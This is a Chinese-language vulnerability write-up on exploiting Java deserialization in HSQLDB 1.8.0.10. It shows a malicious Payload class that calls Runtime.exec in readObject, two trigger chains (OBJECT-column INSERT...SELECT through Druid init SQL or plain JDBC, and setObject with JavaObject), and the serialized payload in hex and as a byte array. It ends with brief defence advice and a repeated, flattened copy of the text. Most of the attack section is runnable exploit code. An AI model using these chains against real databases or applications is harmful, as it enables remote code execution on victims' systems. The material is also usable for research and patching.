hsqldb 1.8 反序列化漏洞利用的新方式
字数 588 2025-08-22 22:47:39

HSQLDB 1.8 反序列化漏洞利用分析

漏洞概述

HSQLDB 1.8 版本存在反序列化漏洞,攻击者可以通过特定方式构造恶意序列化数据,在数据库操作过程中触发反序列化执行任意代码。该漏洞主要存在于两种利用方式中:

  1. 通过 OBJECT 类型字段转换触发反序列化
  2. 通过 setObject 方法直接触发反序列化

环境准备

依赖配置

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>druid</artifactId>
        <version>1.2.8</version>
    </dependency>
    <dependency>
        <groupId>org.hsqldb</groupId>
        <artifactId>hsqldb</artifactId>
        <version>1.8.0.10</version>
    </dependency>
</dependencies>

恶意Payload类

package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Payload implements Serializable {
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("calc");
    }
}

利用方式一:OBJECT类型字段转换

原理分析

当表1的字段类型为OBJECT类型,将其内容插入到表2时,会通过以下调用链触发反序列化:

  1. executeInsertSelectStatement函数
  2. Column.convertObject函数
  3. 最终进行反序列化操作

利用代码示例

使用Druid连接池

DruidDataSource druidDataSource = new DruidDataSource();

// 设置JDBC URL
Field jdbcUrl = DruidDataSource.class.getSuperclass().getDeclaredField("jdbcUrl");
jdbcUrl.setAccessible(true);
jdbcUrl.set(druidDataSource, "jdbc:hsqldb:mem:mydb");

// 设置驱动类
Field driverClass = DruidDataSource.class.getSuperclass().getDeclaredField("driverClass");
driverClass.setAccessible(true);
driverClass.set(druidDataSource, "org.hsqldb.jdbcDriver");

// 设置初始化SQL语句
List<String> list = new ArrayList<>();
list.add("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");
list.add("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");
list.add("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");
list.add("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");

Field connectionInitSqls = DruidDataSource.class.getSuperclass().getDeclaredField("connectionInitSqls");
connectionInitSqls.setAccessible(true);
connectionInitSqls.set(druidDataSource, list);

// 触发漏洞
druidDataSource.getConnection();

直接JDBC连接

Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
Statement statement = connection.createStatement();

// 创建表1(包含OBJECT类型字段)
statement.executeQuery("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");

// 插入恶意序列化数据
statement.executeQuery("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");

// 创建表2
statement.executeQuery("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");

// 触发漏洞:将表1的数据插入到表2
statement.executeQuery("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");

利用方式二:setObject方法

原理分析

通过setObject方法直接设置JavaObject类型的参数,可以绕过常规检查直接触发反序列化。

利用代码示例

byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};

Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
Statement statement = connection.createStatement();

// 创建表
connection.prepareStatement("CREATE TABLE test (id INTEGER IDENTITY, name VARCHAR(255))").execute();

// 创建JavaObject并设置恶意序列化数据
JavaObject javaObject = new JavaObject(bytes);

// 触发漏洞
connection.prepareStatement("INSERT INTO test (name) VALUES (?)").setObject(1, javaObject);

序列化数据处理

字节数组转16进制字符串

public static String bytesToHex(byte[] bytes) {
    StringBuilder hexString = new StringBuilder();
    for (byte b : bytes) {
        String hex = String.format("%02X", b);
        hexString.append(hex);
    }
    return hexString.toString();
}

示例序列化数据

Payload类的序列化数据(16进制表示):

ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870

对应的字节数组:

new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112}

防御建议

  1. 升级HSQLDB到最新版本(当前最新为2.7.2)
  2. 避免使用不受信任的序列化数据
  3. 对数据库连接进行严格的访问控制
  4. 使用安全框架对反序列化操作进行防护

参考链接

HSQLDB 1.8 反序列化漏洞利用分析 漏洞概述 HSQLDB 1.8 版本存在反序列化漏洞,攻击者可以通过特定方式构造恶意序列化数据,在数据库操作过程中触发反序列化执行任意代码。该漏洞主要存在于两种利用方式中: 通过 OBJECT 类型字段转换触发反序列化 通过 setObject 方法直接触发反序列化 环境准备 依赖配置 恶意Payload类 利用方式一:OBJECT类型字段转换 原理分析 当表1的字段类型为OBJECT类型,将其内容插入到表2时,会通过以下调用链触发反序列化: executeInsertSelectStatement 函数 Column.convertObject 函数 最终进行反序列化操作 利用代码示例 使用Druid连接池 直接JDBC连接 利用方式二:setObject方法 原理分析 通过 setObject 方法直接设置 JavaObject 类型的参数,可以绕过常规检查直接触发反序列化。 利用代码示例 序列化数据处理 字节数组转16进制字符串 示例序列化数据 Payload 类的序列化数据(16进制表示): 对应的字节数组: 防御建议 升级HSQLDB到最新版本(当前最新为2.7.2) 避免使用不受信任的序列化数据 对数据库连接进行严格的访问控制 使用安全框架对反序列化操作进行防护 参考链接 Jdbc碎碎念三:内存数据库